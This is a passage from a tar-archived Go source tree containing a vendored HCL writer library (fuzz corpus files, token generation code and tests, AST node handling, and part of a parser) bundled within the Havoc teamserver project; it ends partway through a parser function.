splat-dot-full.hcl000066400000000000000000000000161467014221700336710ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = foo.bar.* splat-full.hcl000066400000000000000000000000231467014221700331030ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = foo.bar[*].baz traversal-dot-index-terminal.hcl000066400000000000000000000000161467014221700365270ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = foo.bar.0 traversal-dot-index.hcl000066400000000000000000000000221467014221700347130ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = foo.bar.4.baz traversal-index.hcl000066400000000000000000000000231467014221700341300ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpusa = foo.bar[4].baz havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/utf8.hcl000066400000000000000000000000351467014221700317700ustar00rootroot00000000000000foo = "föo ${föo("föo")}" havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/corpus/var.hcl000066400000000000000000000000141467014221700316670ustar00rootroot00000000000000a = var.bar havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/fuzz/config/fuzz.go000066400000000000000000000006101467014221700304230ustar00rootroot00000000000000package fuzzconfig import ( "io/ioutil" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclwrite" ) func Fuzz(data []byte) int { file, diags := hclwrite.ParseConfig(data, "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return 0 } _, err := file.WriteTo(ioutil.Discard) if err != nil { return 0 } return 1 } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/generate.go000066400000000000000000000166011467014221700267630ustar00rootroot00000000000000package hclwrite import ( "fmt" "unicode" "unicode/utf8" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) // TokensForValue returns a sequence of tokens that represents the given // constant value. // // This function only supports types that are used by HCL. In particular, it // does not support capsule types and will panic if given one. // // It is not possible to express an unknown value in source code, so this // function will panic if the given value is unknown or contains any unknown // values. A caller can call the value's IsWhollyKnown method to verify that // no unknown values are present before calling TokensForValue. func TokensForValue(val cty.Value) Tokens { toks := appendTokensForValue(val, nil) format(toks) // fiddle with the SpacesBefore field to get canonical spacing return toks } // TokensForTraversal returns a sequence of tokens that represents the given // traversal. // // If the traversal is absolute then the result is a self-contained, valid // reference expression. If the traversal is relative then the returned tokens // could be appended to some other expression tokens to traverse into the // represented expression. func TokensForTraversal(traversal hcl.Traversal) Tokens { toks := appendTokensForTraversal(traversal, nil) format(toks) // fiddle with the SpacesBefore field to get canonical spacing return toks } func appendTokensForValue(val cty.Value, toks Tokens) Tokens { switch { case !val.IsKnown(): panic("cannot produce tokens for unknown value") case val.IsNull(): toks = append(toks, &Token{ Type: hclsyntax.TokenIdent, Bytes: []byte(`null`), }) case val.Type() == cty.Bool: var src []byte if val.True() { src = []byte(`true`) } else { src = []byte(`false`) } toks = append(toks, &Token{ Type: hclsyntax.TokenIdent, Bytes: src, }) case val.Type() == cty.Number: bf := val.AsBigFloat() srcStr := bf.Text('f', -1) toks = append(toks, &Token{ Type: hclsyntax.TokenNumberLit, Bytes: []byte(srcStr), }) case val.Type() == cty.String: // TODO: If it's a multi-line string ending in a newline, format // it as a HEREDOC instead. src := escapeQuotedStringLit(val.AsString()) toks = append(toks, &Token{ Type: hclsyntax.TokenOQuote, Bytes: []byte{'"'}, }) if len(src) > 0 { toks = append(toks, &Token{ Type: hclsyntax.TokenQuotedLit, Bytes: src, }) } toks = append(toks, &Token{ Type: hclsyntax.TokenCQuote, Bytes: []byte{'"'}, }) case val.Type().IsListType() || val.Type().IsSetType() || val.Type().IsTupleType(): toks = append(toks, &Token{ Type: hclsyntax.TokenOBrack, Bytes: []byte{'['}, }) i := 0 for it := val.ElementIterator(); it.Next(); { if i > 0 { toks = append(toks, &Token{ Type: hclsyntax.TokenComma, Bytes: []byte{','}, }) } _, eVal := it.Element() toks = appendTokensForValue(eVal, toks) i++ } toks = append(toks, &Token{ Type: hclsyntax.TokenCBrack, Bytes: []byte{']'}, }) case val.Type().IsMapType() || val.Type().IsObjectType(): toks = append(toks, &Token{ Type: hclsyntax.TokenOBrace, Bytes: []byte{'{'}, }) if val.LengthInt() > 0 { toks = append(toks, &Token{ Type: hclsyntax.TokenNewline, Bytes: []byte{'\n'}, }) } i := 0 for it := val.ElementIterator(); it.Next(); { eKey, eVal := it.Element() if hclsyntax.ValidIdentifier(eKey.AsString()) { toks = append(toks, &Token{ Type: hclsyntax.TokenIdent, Bytes: []byte(eKey.AsString()), }) } else { toks = appendTokensForValue(eKey, toks) } toks = append(toks, &Token{ Type: hclsyntax.TokenEqual, Bytes: []byte{'='}, }) toks = appendTokensForValue(eVal, toks) toks = append(toks, &Token{ Type: hclsyntax.TokenNewline, Bytes: []byte{'\n'}, }) i++ } toks = append(toks, &Token{ Type: hclsyntax.TokenCBrace, Bytes: []byte{'}'}, }) default: panic(fmt.Sprintf("cannot produce tokens for %#v", val)) } return toks } func appendTokensForTraversal(traversal hcl.Traversal, toks Tokens) Tokens { for _, step := range traversal { toks = appendTokensForTraversalStep(step, toks) } return toks } func appendTokensForTraversalStep(step hcl.Traverser, toks Tokens) Tokens { switch ts := step.(type) { case hcl.TraverseRoot: toks = append(toks, &Token{ Type: hclsyntax.TokenIdent, Bytes: []byte(ts.Name), }) case hcl.TraverseAttr: toks = append( toks, &Token{ Type: hclsyntax.TokenDot, Bytes: []byte{'.'}, }, &Token{ Type: hclsyntax.TokenIdent, Bytes: []byte(ts.Name), }, ) case hcl.TraverseIndex: toks = append(toks, &Token{ Type: hclsyntax.TokenOBrack, Bytes: []byte{'['}, }) toks = appendTokensForValue(ts.Key, toks) toks = append(toks, &Token{ Type: hclsyntax.TokenCBrack, Bytes: []byte{']'}, }) default: panic(fmt.Sprintf("unsupported traversal step type %T", step)) } return toks } func escapeQuotedStringLit(s string) []byte { if len(s) == 0 { return nil } buf := make([]byte, 0, len(s)) for i, r := range s { switch r { case '\n': buf = append(buf, '\\', 'n') case '\r': buf = append(buf, '\\', 'r') case '\t': buf = append(buf, '\\', 't') case '"': buf = append(buf, '\\', '"') case '\\': buf = append(buf, '\\', '\\') case '$', '%': buf = appendRune(buf, r) remain := s[i+1:] if len(remain) > 0 && remain[0] == '{' { // Double up our template introducer symbol to escape it. buf = appendRune(buf, r) } default: if !unicode.IsPrint(r) { var fmted string if r < 65536 { fmted = fmt.Sprintf("\\u%04x", r) } else { fmted = fmt.Sprintf("\\U%08x", r) } buf = append(buf, fmted...) } else { buf = appendRune(buf, r) } } } return buf } func appendRune(b []byte, r rune) []byte { l := utf8.RuneLen(r) for i := 0; i < l; i++ { b = append(b, 0) // make room at the end of our buffer } ch := b[len(b)-l:] utf8.EncodeRune(ch, r) return b } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/generate_test.go000066400000000000000000000370631467014221700300270ustar00rootroot00000000000000package hclwrite import ( "bytes" "math/big" "testing" "github.com/google/go-cmp/cmp" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) func TestTokensForValue(t *testing.T) { tests := []struct { Val cty.Value Want Tokens }{ { cty.NullVal(cty.DynamicPseudoType), Tokens{ { Type: hclsyntax.TokenIdent, Bytes: []byte(`null`), }, }, }, { cty.True, Tokens{ { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), }, }, }, { cty.False, Tokens{ { Type: hclsyntax.TokenIdent, Bytes: []byte(`false`), }, }, }, { cty.NumberIntVal(0), Tokens{ { Type: hclsyntax.TokenNumberLit, Bytes: []byte(`0`), }, }, }, { cty.NumberFloatVal(0.5), Tokens{ { Type: hclsyntax.TokenNumberLit, Bytes: []byte(`0.5`), }, }, }, { cty.NumberVal(big.NewFloat(0).SetPrec(512).Mul(big.NewFloat(40000000), big.NewFloat(2000000))), Tokens{ { Type: hclsyntax.TokenNumberLit, Bytes: []byte(`80000000000000`), }, }, }, { cty.StringVal(""), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal("foo"), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`foo`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal(`"foo"`), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`\"foo\"`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal("hello\nworld\n"), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`hello\nworld\n`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal("hello\r\nworld\r\n"), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`hello\r\nworld\r\n`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal(`what\what`), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`what\\what`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal("𝄞"), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte("𝄞"), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.StringVal("👩🏾"), Tokens{ { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`👩🏾`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, }, }, { cty.EmptyTupleVal, Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.TupleVal([]cty.Value{cty.EmptyTupleVal}), Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.ListValEmpty(cty.String), Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.SetValEmpty(cty.Bool), Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.TupleVal([]cty.Value{cty.True}), Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.TupleVal([]cty.Value{cty.True, cty.NumberIntVal(0)}), Tokens{ { Type: hclsyntax.TokenOBrack, Bytes: []byte(`[`), }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), }, { Type: hclsyntax.TokenComma, Bytes: []byte(`,`), }, { Type: hclsyntax.TokenNumberLit, Bytes: []byte(`0`), SpacesBefore: 1, }, { Type: hclsyntax.TokenCBrack, Bytes: []byte(`]`), }, }, }, { cty.EmptyObjectVal, Tokens{ { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), }, }, }, { cty.MapValEmpty(cty.Bool), Tokens{ { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), }, }, }, { cty.ObjectVal(map[string]cty.Value{ "foo": cty.True, }), Tokens{ { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`foo`), SpacesBefore: 2, }, { Type: hclsyntax.TokenEqual, Bytes: []byte(`=`), SpacesBefore: 1, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), }, }, }, { cty.ObjectVal(map[string]cty.Value{ "foo": cty.True, "bar": cty.NumberIntVal(0), }), Tokens{ { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`bar`), SpacesBefore: 2, }, { Type: hclsyntax.TokenEqual, Bytes: []byte(`=`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNumberLit, Bytes: []byte(`0`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`foo`), SpacesBefore: 2, }, { Type: hclsyntax.TokenEqual, Bytes: []byte(`=`), SpacesBefore: 1, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), }, }, }, { cty.ObjectVal(map[string]cty.Value{ "foo bar": cty.True, }), Tokens{ { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), SpacesBefore: 2, }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`foo bar`), }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), }, { Type: hclsyntax.TokenEqual, Bytes: []byte(`=`), SpacesBefore: 1, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`true`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), }, }, }, } for _, test := range tests { t.Run(test.Val.GoString(), func(t *testing.T) { got := TokensForValue(test.Val) if !cmp.Equal(got, test.Want) { diff := cmp.Diff(got, test.Want, cmp.Comparer(func(a, b []byte) bool { return bytes.Equal(a, b) })) var gotBuf, wantBuf bytes.Buffer got.WriteTo(&gotBuf) test.Want.WriteTo(&wantBuf) t.Errorf( "wrong result\nvalue: %#v\ngot: %s\nwant: %s\ndiff: %s", test.Val, gotBuf.String(), wantBuf.String(), diff, ) } }) } } func TestTokensForTraversal(t *testing.T) { tests := []struct { Val hcl.Traversal Want Tokens }{ { hcl.Traversal{ hcl.TraverseRoot{Name: "root"}, hcl.TraverseAttr{Name: "attr"}, hcl.TraverseIndex{Key: cty.StringVal("index")}, }, Tokens{ {Type: hclsyntax.TokenIdent, Bytes: []byte("root")}, {Type: hclsyntax.TokenDot, Bytes: []byte(".")}, {Type: hclsyntax.TokenIdent, Bytes: []byte("attr")}, {Type: hclsyntax.TokenOBrack, Bytes: []byte{'['}}, {Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`)}, {Type: hclsyntax.TokenQuotedLit, Bytes: []byte("index")}, {Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`)}, {Type: hclsyntax.TokenCBrack, Bytes: []byte{']'}}, }, }, } for _, test := range tests { got := TokensForTraversal(test.Val) if !cmp.Equal(got, test.Want) { diff := cmp.Diff(got, test.Want, cmp.Comparer(func(a, b []byte) bool { return bytes.Equal(a, b) })) var gotBuf, wantBuf bytes.Buffer got.WriteTo(&gotBuf) test.Want.WriteTo(&wantBuf) t.Errorf( "wrong result\nvalue: %#v\ngot: %s\nwant: %s\ndiff: %s", test.Val, gotBuf.String(), wantBuf.String(), diff, ) } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/native_node_sorter.go000066400000000000000000000007131467014221700310570ustar00rootroot00000000000000package hclwrite import ( "Havoc/pkg/profile/yaotl/hclsyntax" ) type nativeNodeSorter struct { Nodes []hclsyntax.Node } func (s nativeNodeSorter) Len() int { return len(s.Nodes) } func (s nativeNodeSorter) Less(i, j int) bool { rangeI := s.Nodes[i].Range() rangeJ := s.Nodes[j].Range() return rangeI.Start.Byte < rangeJ.Start.Byte } func (s nativeNodeSorter) Swap(i, j int) { s.Nodes[i], s.Nodes[j] = s.Nodes[j], s.Nodes[i] } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/node.go000066400000000000000000000140021467014221700261070ustar00rootroot00000000000000package hclwrite import ( "fmt" "github.com/google/go-cmp/cmp" ) // node represents a node in the AST. type node struct { content nodeContent list *nodes before, after *node } func newNode(c nodeContent) *node { return &node{ content: c, } } func (n *node) Equal(other *node) bool { return cmp.Equal(n.content, other.content) } func (n *node) BuildTokens(to Tokens) Tokens { return n.content.BuildTokens(to) } // Detach removes the receiver from the list it currently belongs to. If the // node is not currently in a list, this is a no-op. func (n *node) Detach() { if n.list == nil { return } if n.before != nil { n.before.after = n.after } if n.after != nil { n.after.before = n.before } if n.list.first == n { n.list.first = n.after } if n.list.last == n { n.list.last = n.before } n.list = nil n.before = nil n.after = nil } // ReplaceWith removes the receiver from the list it currently belongs to and // inserts a new node with the given content in its place. If the node is not // currently in a list, this function will panic. // // The return value is the newly-constructed node, containing the given content. // After this function returns, the receiver is no longer attached to a list. func (n *node) ReplaceWith(c nodeContent) *node { if n.list == nil { panic("can't replace node that is not in a list") } before := n.before after := n.after list := n.list n.before, n.after, n.list = nil, nil, nil nn := newNode(c) nn.before = before nn.after = after nn.list = list if before != nil { before.after = nn } if after != nil { after.before = nn } return nn } func (n *node) assertUnattached() { if n.list != nil { panic(fmt.Sprintf("attempt to attach already-attached node %#v", n)) } } // nodeContent is the interface type implemented by all AST content types. type nodeContent interface { walkChildNodes(w internalWalkFunc) BuildTokens(to Tokens) Tokens } // nodes is a list of nodes. type nodes struct { first, last *node } func (ns *nodes) BuildTokens(to Tokens) Tokens { for n := ns.first; n != nil; n = n.after { to = n.BuildTokens(to) } return to } func (ns *nodes) Clear() { ns.first = nil ns.last = nil } func (ns *nodes) Append(c nodeContent) *node { n := &node{ content: c, } ns.AppendNode(n) n.list = ns return n } func (ns *nodes) AppendNode(n *node) { if ns.last != nil { n.before = ns.last ns.last.after = n } n.list = ns ns.last = n if ns.first == nil { ns.first = n } } // Insert inserts a nodeContent at a given position. // This is just a wrapper for InsertNode. See InsertNode for details. func (ns *nodes) Insert(pos *node, c nodeContent) *node { n := &node{ content: c, } ns.InsertNode(pos, n) n.list = ns return n } // InsertNode inserts a node at a given position. // The first argument is a node reference before which to insert. // To insert it to an empty list, set position to nil. func (ns *nodes) InsertNode(pos *node, n *node) { if pos == nil { // inserts n to empty list. ns.first = n ns.last = n } else { // inserts n before pos. pos.before.after = n n.before = pos.before pos.before = n n.after = pos } n.list = ns } func (ns *nodes) AppendUnstructuredTokens(tokens Tokens) *node { if len(tokens) == 0 { return nil } n := newNode(tokens) ns.AppendNode(n) n.list = ns return n } // FindNodeWithContent searches the nodes for a node whose content equals // the given content. If it finds one then it returns it. Otherwise it returns // nil. func (ns *nodes) FindNodeWithContent(content nodeContent) *node { for n := ns.first; n != nil; n = n.after { if n.content == content { return n } } return nil } // nodeSet is an unordered set of nodes. It is used to describe a set of nodes // that all belong to the same list that have some role or characteristic // in common. type nodeSet map[*node]struct{} func newNodeSet() nodeSet { return make(nodeSet) } func (ns nodeSet) Has(n *node) bool { if ns == nil { return false } _, exists := ns[n] return exists } func (ns nodeSet) Add(n *node) { ns[n] = struct{}{} } func (ns nodeSet) Remove(n *node) { delete(ns, n) } func (ns nodeSet) Clear() { for n := range ns { delete(ns, n) } } func (ns nodeSet) List() []*node { if len(ns) == 0 { return nil } ret := make([]*node, 0, len(ns)) // Determine which list we are working with. We assume here that all of // the nodes belong to the same list, since that is part of the contract // for nodeSet. var list *nodes for n := range ns { list = n.list break } // We recover the order by iterating over the whole list. This is not // the most efficient way to do it, but our node lists should always be // small so not worth making things more complex. for n := list.first; n != nil; n = n.after { if ns.Has(n) { ret = append(ret, n) } } return ret } // FindNodeWithContent searches the nodes for a node whose content equals // the given content. If it finds one then it returns it. Otherwise it returns // nil. func (ns nodeSet) FindNodeWithContent(content nodeContent) *node { for n := range ns { if n.content == content { return n } } return nil } type internalWalkFunc func(*node) // inTree can be embedded into a content struct that has child nodes to get // a standard implementation of the NodeContent interface and a record of // a potential parent node. type inTree struct { parent *node children *nodes } func newInTree() inTree { return inTree{ children: &nodes{}, } } func (it *inTree) assertUnattached() { if it.parent != nil { panic(fmt.Sprintf("node is already attached to %T", it.parent.content)) } } func (it *inTree) walkChildNodes(w internalWalkFunc) { for n := it.children.first; n != nil; n = n.after { w(n) } } func (it *inTree) BuildTokens(to Tokens) Tokens { for n := it.children.first; n != nil; n = n.after { to = n.BuildTokens(to) } return to } // leafNode can be embedded into a content struct to give it a do-nothing // implementation of walkChildNodes type leafNode struct { } func (n *leafNode) walkChildNodes(w internalWalkFunc) { } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclwrite/parser.go000066400000000000000000000563031467014221700264700ustar00rootroot00000000000000package hclwrite import ( "fmt" "sort" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) // Our "parser" here is actually not doing any parsing of its own. Instead, // it leans on the native parser in hclsyntax, and then uses the source ranges // from the AST to partition the raw token sequence to match the raw tokens // up to AST nodes. // // This strategy feels somewhat counter-intuitive, since most of the work the // parser does is thrown away here, but this strategy is chosen because the // normal parsing work done by hclsyntax is considered to be the "main case", // while modifying and re-printing source is more of an edge case, used only // in ancillary tools, and so it's good to keep all the main parsing logic // with the main case but keep all of the extra complexity of token wrangling // out of the main parser, which is already rather complex just serving the // use-cases it already serves. // // If the parsing step produces any errors, the returned File is nil because // we can't reliably extract tokens from the partial AST produced by an // erroneous parse. func parse(src []byte, filename string, start hcl.Pos) (*File, hcl.Diagnostics) { file, diags := hclsyntax.ParseConfig(src, filename, start) if diags.HasErrors() { return nil, diags } // To do our work here, we use the "native" tokens (those from hclsyntax) // to match against source ranges in the AST, but ultimately produce // slices from our sequence of "writer" tokens, which contain only // *relative* position information that is more appropriate for // transformation/writing use-cases. nativeTokens, diags := hclsyntax.LexConfig(src, filename, start) if diags.HasErrors() { // should never happen, since we would've caught these diags in // the first call above. return nil, diags } writerTokens := writerTokens(nativeTokens) from := inputTokens{ nativeTokens: nativeTokens, writerTokens: writerTokens, } before, root, after := parseBody(file.Body.(*hclsyntax.Body), from) ret := &File{ inTree: newInTree(), srcBytes: src, body: root, } nodes := ret.inTree.children nodes.Append(before.Tokens()) nodes.AppendNode(root) nodes.Append(after.Tokens()) return ret, diags } type inputTokens struct { nativeTokens hclsyntax.Tokens writerTokens Tokens } func (it inputTokens) Partition(rng hcl.Range) (before, within, after inputTokens) { start, end := partitionTokens(it.nativeTokens, rng) before = it.Slice(0, start) within = it.Slice(start, end) after = it.Slice(end, len(it.nativeTokens)) return } func (it inputTokens) PartitionType(ty hclsyntax.TokenType) (before, within, after inputTokens) { for i, t := range it.writerTokens { if t.Type == ty { return it.Slice(0, i), it.Slice(i, i+1), it.Slice(i+1, len(it.nativeTokens)) } } panic(fmt.Sprintf("didn't find any token of type %s", ty)) } func (it inputTokens) PartitionTypeOk(ty hclsyntax.TokenType) (before, within, after inputTokens, ok bool) { for i, t := range it.writerTokens { if t.Type == ty { return it.Slice(0, i), it.Slice(i, i+1), it.Slice(i+1, len(it.nativeTokens)), true } } return inputTokens{}, inputTokens{}, inputTokens{}, false } func (it inputTokens) PartitionTypeSingle(ty hclsyntax.TokenType) (before inputTokens, found *Token, after inputTokens) { before, within, after := it.PartitionType(ty) if within.Len() != 1 { panic("PartitionType found more than one token") } return before, within.Tokens()[0], after } // PartitionIncludeComments is like Partition except the returned "within" // range includes any lead and line comments associated with the range. func (it inputTokens) PartitionIncludingComments(rng hcl.Range) (before, within, after inputTokens) { start, end := partitionTokens(it.nativeTokens, rng) start = partitionLeadCommentTokens(it.nativeTokens[:start]) _, afterNewline := partitionLineEndTokens(it.nativeTokens[end:]) end += afterNewline before = it.Slice(0, start) within = it.Slice(start, end) after = it.Slice(end, len(it.nativeTokens)) return } // PartitionBlockItem is similar to PartitionIncludeComments but it returns // the comments as separate token sequences so that they can be captured into // AST attributes. It makes assumptions that apply only to block items, so // should not be used for other constructs. func (it inputTokens) PartitionBlockItem(rng hcl.Range) (before, leadComments, within, lineComments, newline, after inputTokens) { before, within, after = it.Partition(rng) before, leadComments = before.PartitionLeadComments() lineComments, newline, after = after.PartitionLineEndTokens() return } func (it inputTokens) PartitionLeadComments() (before, within inputTokens) { start := partitionLeadCommentTokens(it.nativeTokens) before = it.Slice(0, start) within = it.Slice(start, len(it.nativeTokens)) return } func (it inputTokens) PartitionLineEndTokens() (comments, newline, after inputTokens) { afterComments, afterNewline := partitionLineEndTokens(it.nativeTokens) comments = it.Slice(0, afterComments) newline = it.Slice(afterComments, afterNewline) after = it.Slice(afterNewline, len(it.nativeTokens)) return } func (it inputTokens) Slice(start, end int) inputTokens { // When we slice, we create a new slice with no additional capacity because // we expect that these slices will be mutated in order to insert // new code into the AST, and we want to ensure that a new underlying // array gets allocated in that case, rather than writing into some // following slice and corrupting it. return inputTokens{ nativeTokens: it.nativeTokens[start:end:end], writerTokens: it.writerTokens[start:end:end], } } func (it inputTokens) Len() int { return len(it.nativeTokens) } func (it inputTokens) Tokens() Tokens { return it.writerTokens } func (it inputTokens) Types() []hclsyntax.TokenType { ret := make([]hclsyntax.TokenType, len(it.nativeTokens)) for i, tok := range it.nativeTokens { ret[i] = tok.Type } return ret } // parseBody locates the given body within the given input tokens and returns // the resulting *Body object as well as the tokens that appeared before and // after it. func parseBody(nativeBody *hclsyntax.Body, from inputTokens) (inputTokens, *node, inputTokens) { before, within, after := from.PartitionIncludingComments(nativeBody.SrcRange) // The main AST doesn't retain the original source ordering of the // body items, so we need to reconstruct that ordering by inspecting // their source ranges. nativeItems := make([]hclsyntax.Node, 0, len(nativeBody.Attributes)+len(nativeBody.Blocks)) for _, nativeAttr := range nativeBody.Attributes { nativeItems = append(nativeItems, nativeAttr) } for _, nativeBlock := range nativeBody.Blocks { nativeItems = append(nativeItems, nativeBlock) } sort.Sort(nativeNodeSorter{nativeItems}) body := &Body{ inTree: newInTree(), items: newNodeSet(), } remain := within for _, nativeItem := range nativeItems { beforeItem, item, afterItem := parseBodyItem(nativeItem, remain) if beforeItem.Len() > 0 { body.AppendUnstructuredTokens(beforeItem.Tokens()) } body.appendItemNode(item) remain = afterItem } if remain.Len() > 0 { body.AppendUnstructuredTokens(remain.Tokens()) } return before, newNode(body), after } func parseBodyItem(nativeItem hclsyntax.Node, from inputTokens) (inputTokens, *node, inputTokens) { before, leadComments, within, lineComments, newline, after := from.PartitionBlockItem(nativeItem.Range()) var item *node switch tItem := nativeItem.(type) { case *hclsyntax.Attribute: item = parseAttribute(tItem, within, leadComments, lineComments, newline) case *hclsyntax.Block: item = parseBlock(tItem, within, leadComments, lineComments, newline) default: // should never happen if caller is behaving panic("unsupported native item type") } return before, item, after } func parseAttribute(nativeAttr *hclsyntax.Attribute, from, leadComments, lineComments, newline inputTokens) *node { attr := &Attribute{ inTree: newInTree(), } children := attr.inTree.children { cn := newNode(newComments(leadComments.Tokens())) attr.leadComments = cn children.AppendNode(cn) } before, nameTokens, from := from.Partition(nativeAttr.NameRange) { children.AppendUnstructuredTokens(before.Tokens()) if nameTokens.Len() != 1 { // Should never happen with valid input panic("attribute name is not exactly one token") } token := nameTokens.Tokens()[0] in := newNode(newIdentifier(token)) attr.name = in children.AppendNode(in) } before, equalsTokens, from := from.Partition(nativeAttr.EqualsRange) children.AppendUnstructuredTokens(before.Tokens()) children.AppendUnstructuredTokens(equalsTokens.Tokens()) before, exprTokens, from := from.Partition(nativeAttr.Expr.Range()) { children.AppendUnstructuredTokens(before.Tokens()) exprNode := parseExpression(nativeAttr.Expr, exprTokens) attr.expr = exprNode children.AppendNode(exprNode) } { cn := newNode(newComments(lineComments.Tokens())) attr.lineComments = cn children.AppendNode(cn) } children.AppendUnstructuredTokens(newline.Tokens()) // Collect any stragglers, though there shouldn't be any children.AppendUnstructuredTokens(from.Tokens()) return newNode(attr) } func parseBlock(nativeBlock *hclsyntax.Block, from, leadComments, lineComments, newline inputTokens) *node { block := &Block{ inTree: newInTree(), } children := block.inTree.children { cn := newNode(newComments(leadComments.Tokens())) block.leadComments = cn children.AppendNode(cn) } before, typeTokens, from := from.Partition(nativeBlock.TypeRange) { children.AppendUnstructuredTokens(before.Tokens()) if typeTokens.Len() != 1 { // Should never happen with valid input panic("block type name is not exactly one token") } token := typeTokens.Tokens()[0] in := newNode(newIdentifier(token)) block.typeName = in 